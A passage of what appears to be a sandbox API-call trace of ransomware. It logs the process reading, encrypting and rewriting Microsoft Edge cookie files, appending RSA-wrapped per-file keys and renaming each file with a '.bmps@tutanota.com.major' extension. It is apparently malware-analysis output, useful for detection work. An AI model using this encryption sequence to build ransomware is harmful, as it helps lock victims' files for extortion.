dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.346] WriteFile (in: hFile=0x1b90, lpBuffer=0x5bacb8*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bacb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd2, lpOverlapped=0x0) returned 1 [0300.346] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd2 [0300.346] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.346] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.346] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.346] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1E/8cObJ//2tQ4sQeSxZQFGuGQw2zGTJugz65mxFJtbMrUYnpIwJ1B8136Hz9/CB\nmwduQESOW66kh8lR2Qd2DXiDWOVF0JanVtMD4pMbMO0SLHjfL03NWSIdYjkp2+JU\nqY3PCOr0G9Lyg0+C6UIWoNqyF6bCT9d2vcQ2ec5qQ7M2zzbAs/6dLpeDDAwW4KNa\nrd/q2R+Hd4giQqDgeJvayzkv+xTZujYqsqEnBFubHWu7GwIMVSQWncItt+HUaHDF\nlHsj1ARFa6rT0uRBTkF5HYcO7Wv9zQOM6Ofu4EkMmCCcfpagS61dsAFNFUGwcSe4\nFGlS52EywN1aS/+/V+YRfQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.346] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.347] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.347] CloseHandle (hObject=0x1b90) returned 1 [0300.347] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DMWBP500.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\dmwbp500.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.349] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.349] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie", dwFileAttributes=0x80) returned 1 [0300.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.350] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=207) returned 1 [0300.350] ReadFile (in: hFile=0x1b90, lpBuffer=0x669310, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x669310*, lpNumberOfBytesRead=0x2e3f9b4*=0xcf, lpOverlapped=0x0) returned 1 [0300.351] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.351] WriteFile (in: hFile=0x1b90, lpBuffer=0x668ed8*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x668ed8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcf, lpOverlapped=0x0) returned 1 [0300.351] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcf [0300.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.351] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SjIW/P7fO1nUQxUOblVFKH4wtQlVsrRJ/fju+F0LCZ2/p4+sspVy6vg7MaWnJ3NF\n8gi7XabKmGFt+SlbuIBHIRqRUjzq2HDf+Gg+MakfYLIMgDUqAXjtw7eT/Gs91ia9\ncCzTCt1T1ZM7lXpk2H/8EmLlY+IMBOCO7qcTIOx+m+wGDJAZHHSiQ3eoWdI0Aa77\n8ZA3N0dMaAJc8mMN8KvbPZgtvZGNJfe4wQTZByJARmZQE5Vz4B5/iMuSmxFKlFnE\noHU8A2y5EPu0L7FD3FAdtiPMd8BTCR6Uy3Y4jQR8HavF7+fnPwFrjMKRY6faN7Y7\nrvBVYutBl0SAtWL9Z0FeVA==\n", pcchString=0x2e3f9a8) returned 1 [0300.352] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.352] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.452] CloseHandle (hObject=0x1b90) returned 1 [0300.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\DEPEYPX1.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\depeypx1.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.455] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0300.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.457] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0300.457] ReadFile (in: hFile=0x1b90, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.457] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.457] WriteFile (in: hFile=0x1b90, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0300.457] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0300.457] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.457] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.458] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.458] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.459] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.459] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LbPHXcbN+xXjWRAMoHVCMYKmz7yYQ626bFsDylW0pfV1CE7TGeOSrvQ53xnrPOas\nquxV/lAP21oyLKh0XJAuqEktzJJ1V87BTM986G+Llhg5NaHgFO/7fwrPnoC15bmr\nfGt9306ptDivkYzZOyaPso0CWLL2q33W48EPd/38lys8yG3IA3F8ezIGsdyrvYYD\nABsHINr+t1NGRcl3YnZIi7o6nv0uqRxSAKwUJR2ZTE4lmVqpkd2M+g50PVXgLMBx\np7wSdA0+h11yuLp8Bc3joy+bIcoCeWFbmjibUrIXZbNGFnoI8g78X5xEkGgfTd9d\n5nmckZPOHcthgCmurKYJQw==\n", pcchString=0x2e3f9a8) returned 1 [0300.459] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.459] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.459] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.459] CloseHandle (hObject=0x1b90) returned 1 [0300.459] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.472] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.472] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie", dwFileAttributes=0x80) returned 1 [0300.473] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.473] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=179) returned 1 [0300.473] ReadFile (in: hFile=0x1b90, lpBuffer=0x5b9dc0, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b9dc0*, lpNumberOfBytesRead=0x2e3f9b4*=0xb3, lpOverlapped=0x0) returned 1 [0300.474] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.475] WriteFile (in: hFile=0x1b90, lpBuffer=0x5b9f40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b9f40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb3, lpOverlapped=0x0) returned 1 [0300.475] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb3 [0300.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.475] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.475] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.475] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.476] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sisk7OtV8nyDMEKyesiW6bIlhlxhlzlldRJ/6yMWvJiYpDR7NZQUC+f4dfCvw8C7\nvwjhcK2R0m7DyVhZ6Z56hmb6wFrYRFdL6DcEfYDzNntMi49NpRHUtDzfsCeMtRcW\nbeuIAbJUU93iMFe0UogKB12RqMroE6rBGN+3J+a45TdU4Ch+bAFnKT8BrMiXvWDh\nVbmZj0ghNxidF9JZIU/N7EUBWmWApdG2XWrAm/BG0v19JLK2uze7MoO03+tzaoIQ\nvEgFS5ndEDxNXq/lThmSRk5OgmJ7dHkQMgAehscqHvZJIs0+C/2n0Uf+Tih4LKq8\nr2QF/I5EI3ftBE8BAx9flw==\n", pcchString=0x2e3f9a8) returned 1 [0300.476] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.476] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.476] CloseHandle (hObject=0x1b90) returned 1 [0300.476] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\B8VJSZ53.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\b8vjsz53.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.480] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie", dwFileAttributes=0x80) returned 1 [0300.481] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.481] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=161) returned 1 [0300.481] ReadFile (in: hFile=0x1b90, lpBuffer=0x5ab948, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ab948*, lpNumberOfBytesRead=0x2e3f9b4*=0xa1, lpOverlapped=0x0) returned 1 [0300.482] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.482] WriteFile (in: hFile=0x1b90, lpBuffer=0x5abd68*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5abd68*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa1, lpOverlapped=0x0) returned 1 [0300.483] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa1 [0300.483] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.483] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MFA2FdxgWeJs5eMuUsXhHnJADbGNG6quzNr28MCap1CYYiW14yBmxwl4WTuVvSar\nnCnnjWjcwd5vhWlhYywglDh8cC0Ty54jaTowWuPHZIyf3DTOyZXCaBDn4ZSfEoMp\nE2g94Vuqo89yW2QVJoQNjF/DVO5Ih+1myFovGXxFJ351D+dpo5NSHRwn4K/wMoXp\n4W3TQqWT79UhUpZLDnx0rTp0Jg2CaRr1CqCwkjxve4BQm6IMC5hLMwXYUwHV2KUv\n5eC5949aNcByIMsLKZ2nP1svfrs/+RZviQbgaKGrxnpUE7/+c3qr/05S54y5heFp\nwjF620qIXiF4T/MxcWWKJg==\n", pcchString=0x2e3f9a8) returned 1 [0300.484] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.484] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.484] CloseHandle (hObject=0x1b90) returned 1 [0300.484] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\9ITKWZA9.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\9itkwza9.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.487] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie", dwFileAttributes=0x80) returned 1 [0300.488] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.489] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=243) returned 1 [0300.489] ReadFile (in: hFile=0x1b90, lpBuffer=0x65a208, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a208*, lpNumberOfBytesRead=0x2e3f9b4*=0xf3, lpOverlapped=0x0) returned 1 [0300.490] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.490] WriteFile (in: hFile=0x1b90, lpBuffer=0x65bd08*, nNumberOfBytesToWrite=0xf3, 